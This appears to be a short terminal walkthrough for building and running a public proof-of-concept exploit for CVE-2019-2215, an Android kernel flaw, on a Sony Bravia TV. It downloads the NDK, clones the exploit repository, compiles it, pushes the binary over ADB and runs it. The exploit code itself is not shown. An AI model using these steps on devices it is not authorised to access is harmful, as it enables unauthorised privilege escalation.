# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20b-linux-x86_64.zip

# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20b-linux-x86_64.zip
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20b

# Clone the `CVE-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/LIznzn/CVE-2019-2215.git
user@host:~$ cd CVE-2019-2215

# Compile the binary.
user@host:~/CVE-2019-2215$ $ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang poc-bravia.c -static -o poc-bravia

# Push binary to device.
user@host:~/CVE-2019-2215$ adb push ./poc-bravia /data/local/tmp/

# Use ADB Shell.
user@host:~/CVE-2019-2215$ adb shell

# Run it.
BRAVIA_4K_UR1:/ $ cd /data/local/tmp
BRAVIA_4K_UR1:/data/local/tmp $ chmod 755 poc-bravia
BRAVIA_4K_UR1:/data/local/tmp $ ./poc-bravia